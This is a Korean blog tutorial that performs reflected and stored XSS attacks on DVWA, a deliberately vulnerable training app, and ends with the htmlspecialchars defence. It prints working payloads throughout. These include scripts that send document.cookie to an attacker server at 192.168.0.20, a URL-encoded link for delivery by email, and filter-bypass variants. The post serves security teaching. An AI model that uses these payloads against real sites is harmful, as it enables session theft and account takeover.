본문 바로가기

IT Security/DVWA(Damn Vulnerable Web App)

[DVWA] XSS(Cross Site Scripting)

안녕하세요 Retain0입니다. 이번 시간에는 " DVWA "라는 취약한 웹 애플리케이션을 통한 XSS 공격을 해보도록 하겠습니다.

 

XSS(Cross Site Scripting) 란

  • 주로 javascript 를 사용하는 공격으로 취약한 웹 어플리케이션에 삽입 후 다른 사용자에게 전달하여 클라이언트 측 웹브라우저를 공격하는 기법입니다. OWASP top 10 중에서도 SQL injection과 함께 빈도수가 높은 공격 중 하나입니다. 기본적으로 <script> 악의적 인코드 </script>가 삽입된 페이지나 링크를 타고 접속하게 될 경우 클릭한 사용자의 세션 쿠키값이 노출이 되고 노출된 중요 값들은 document.location=공격자의 웹서버로 전달되기 때문에 공격자는 클릭한 사용자 또는 관리자를 기반으로 마치 자신도 정상적인 사용자, 관리자로 하여금 위장하여 악의적인 행위를 할 수가 있게 됩니다.

XSS에는 대표적으로 3가지 방식이 존재합니다.

 

(1) Reflected XSS 

스크립트가 반사하게되어 붙여진 이름으로 악의적인 스크립트가 삽입된 악성 URL을 사용자들에게 전달하는 형태의 공격입니다. 만일 이것을 클릭하게 되면 스크립트 코드가 웹서버로 전송하고 다시 사용자에게 코드를 반사시켜 실행하게 합니다. 클릭한 사용자의 로그인 정보를 획득할 수 있으며 변조된 사이트로 이동시키거나 악성프로그램을 자동으로 다운받게 해주는 경로로 이동시키기도 합니다.

 

(2) Stored XSS

주로 사용자들이 많이 방문하는곳을 대상으로 게시판, 댓글 등에 악의적인 스크립트를 삽입해두고 방문 시 스크립트가 실행되도록 합니다. Reflected 기반과는 다르게 반사가 되는 것은 아니며 공격자의 웹서버 주소와 엮어서 삽입하므로 방문한 사용자의 로그인 주소가 공격자 서버의 로그에 남도록 지정하는 형태입니다.

 

(3) Dom XSS

DOM 은 W3C 표준으로 HTML 및 XML 문서에 접근 방법을 표준으로 정의하는 문서 객체 모델이며 사용자의 브라우저가 html 페이지를 구문 분석할 때마다 공격 스크립트가 DOM 생성의 일부로 실행되어서 공격합니다. 페이 지자체에는 변화가 없습니다. 왜냐하면 서버의 응답 내에는 악성 스크립트가 포함되지 않고 응답 페이지 내 정상적인 스크립트가 먼저실행되고 악성스크립트가 추가적으로 실행되기 때문에 서버와는 관계없이 발생한다 볼 수 있습니다.

 

① Low

(사진 1) Reflected XSS

입력 폼에 아무 값이나 입력해보면 " Hello Retain0 " 라는 문구와 함께 그대로 반사되는 것을 확인할수 있습니다. Low 단계에서는 아무런 입력값을 검증하지 않고 있습니다.

 

(사진 2) 사용자의 쿠키값 추출

<script>alert(document.cookie)</script>

(사진 2) 해당 입력폼에 상위의 문구를 삽입해보면 해당 로그인한 사용자 즉 저의 쿠키값이 노출되는 것을 확인할 수 있습니다. 간단한 시나리오를  구현해서 테스트해보겠습니다.

 

(사진 3) gmail 활용한 악성 URL 배포

<script>document.location%3d'http://192.168.0.20/cookie%3f'%2bdocument.cookie</script>

스스로에게 메일을 보내어 해당 링크를 클릭 시 악의적인 스크립트가 실행되서 쿠키값이 공격자에게 전달이 되는지 확인해보도록 하겠습니다. 정상 사이트의 주소 맨 끝 name=부분에 Retain0는 지워주시고 상위의 구문을 삽입하여 전송해주면 됩니다.

% 3d --> =

%3f -->?

%2b --> +

※ gmail을 통해 보낼 시 특수문자는 URL 인코딩을 돌린 후에 전송해야 됩니다

 

(사진 4) 메일 받은 화면

메일이 도착했으니 확인해 보도록 하겠습니다. 실습을 할 때는 반드시 본인의 메일로 보내야 합니다.

 

.

(사진 5) 메일 열람

tail -f /var/log/apache2/access.log

(사진 5) 메일을 확인해 보시면 " 링크 " 부분이 보이실 겁니다. 클릭하시기 전에 실시간으로 스크립트가 실행돼서 웹서버 로그에 기록을 남겼는지 알기 위해 상위의 명령어를 통해 모니터링 상태로 해두는 게 좋습니다.

 

(사진 6) 로그인 정보 탈취

(사진 5)의 " 링크 "를 클릭하는 순간 Not Found 페이지로 이동시켜 접속만 되지 안 됐을 뿐 별다른 이상 징후는 느끼지 못할 수도 있습니다. 하지만 공격자의 입장에서 보면 클릭한 사용자의 로그인 정보가 웹서버 로그에 기록되어있는 것을 확인할 수 있습니다.

 

(사진 7) Stored XSS 

이름과 간단한 메시지를 남기는 댓글 폼이 있습니다. 사용자의 입력값을 제대로 검증하지 못할 경우 해당 폼에 악의적인 스크립트를 삽입하여 해당 페이지를 방문하는 모든 사용자의 로그인 정보를 갈취할 수 있습니다.

 

(사진 8) 최대 입력값 길이 수정

<script>document.location='http://192.168.0.20/cookie?'+document.cookie</script>

Message 란에 입력할 수 있는 값의 길이가 제한적이라 개발자 도구(F12)를 통해 수정해주고 상위의 구문을 입력하도록 하겠습니다. Reflected 기반에 사용된 코드와 동일하며 차이점은 URL 인코딩을 거치지 않았다는 것입니다.

 

(사진 9) 로그인 정보 탈취

스크립트 코드를 삽입해두고 해당 카테고리인 stored xss를 잠시 벗어났다가 다시 들어와 보시면 클릭한 사용자에게는 Not Found라는 페이지를 찾을 수 없다는 문구를 띄워주며 반대로 공격자에게는 클릭한 사용자의 로그인 정보를 로그기록에 남기게 됩니다.

 


② Medium

(사진 10) Reflected XSS Mideum

<script>alert("xss test");</script>

(사진 10) 스크립트가 반사되는지 확인하기 위해 상위의 구문을 입력하여 테스트해본 결과 반사되지 않고 alert("xss test") 부분만 반사하고 나머지는 필터링되고 있는 것을 확인할 수 있습니다.

 

(사진 11) Mideum 소스코드

str_replace( '<script>', " 함수를 통해 <script>를 제거하고 있는 것을 확인할 수 있습니다. 여기서 탈출할 수 있는 방법은 

" 대문자 "를 사용하거나 <script>를 겹쳐서 쓰면 됩니다. 왜냐하면 소스코드에서는 오로지 소문자 기반이며 한 번씩만 필터링하기 때문입니다.

 

(사진 12) 대문자로 우회

<SCRIPT>alert("xss test");</SCRIPT>
또는
<scr<script>ipt>alert("xss test");</scr<script>ipt>

(사진 13) 스크립트 반사

 


③ High

(사진 14) Reflected XSS High

(사진 14) Medium 레벨에서 사용했던 방법으로 이스케이프를 시도하였으나 >만 출력이 되었네요 소스코드를 확인해보겠습니다.

 

(사진 15) High 소스코드

소스코드를 확인해본 결과 대소문자를 구분하고 preg_replace 함수를 이용해 <s * c * r * i * p * t를 블랙리스트로 추가해두었기에 <script> 태그로 시작하는 코드를 삽입할 수 없습니다. 

이스케이프 할수 있는 코드 예시입니다.

링크 태그 ->  <a href="javascript:alert('XSS')">XSS</a>
html 이미지 태그 -> <img src="#" onerror="alert('XSS')">
html 이벤트 속성 -> <body onload = alert ("xss")>
백터이미지 태그-> <svg/onload=alert('XSS')>
블랙리스트 우회 -> <ruby oncopy="alert('XSS')">XSS</ruby>

 

(사진 16) 로그인 정보 노출

<img src=x onerror=window.location.assign("http://192.168.0.20/hacked.php")>

상위의 코드를 통해 URL 클릭 시 로그인 정보가 공격자에게 넘어오도록 할 수 있습니다. src=x  즉 소스에 아무런 값이 없으면 에러가 발생하고 그 뒤에 정의된 window.location.assign(악의적인 주소)을 통해 최종 목적지인 hacked.php로 이동시켜 클릭한 사용자의 쿠키값을 도출시킬 수 있습니다.

 

<script>document.location='http://192.168.0.20/cookie?'+document.cookie</script>

hacked.php 파일 안에는 상위의 코드가 삽입되어 있습니다. 

웹서버 로그를 모니터링하면서 클릭해보면 (사진 16) 사용자 화면에는 Not Found 가 뜨고 공격자 로그에는 사용자의 쿠키값이 전달되어 있는 것을 확인하실 수가 있습니다.

 


◆ 대응방안

(사진 17) Impossible 소스코드
(사진 18) 입력은받지만 실행은안됨

 htmlspecialchars라는 함수가 적용되어 있습니다. 기존에 사용했던 구문들을 입력해본 결과 (사진 18) 문자열 자체가 출력된 걸 볼 수 있지만 실행은 되지 않았습니다. 이 함수의 기능은 몇몇 특수문자를 html 엔티티로 치환하는 함수입니다. 그렇기 때문에 우리가 입력한 건 모두 출력은 될지라도 호출의 기능이 사라져 있기 때문에 xss를 대응할 수가 있습니다.

'IT Security > DVWA(Damn Vulnerable Web App)' 카테고리의 다른 글

[DVWA] CSP bypass  (0) 2020.05.13
[DVWA] Weak Session ID  (0) 2020.05.11
[DVWA] SQL injection  (0) 2020.05.10
[DVWA] insecure CAPTCHA  (0) 2020.04.23
[DVWA] File Upload Vulnerability  (0) 2020.04.21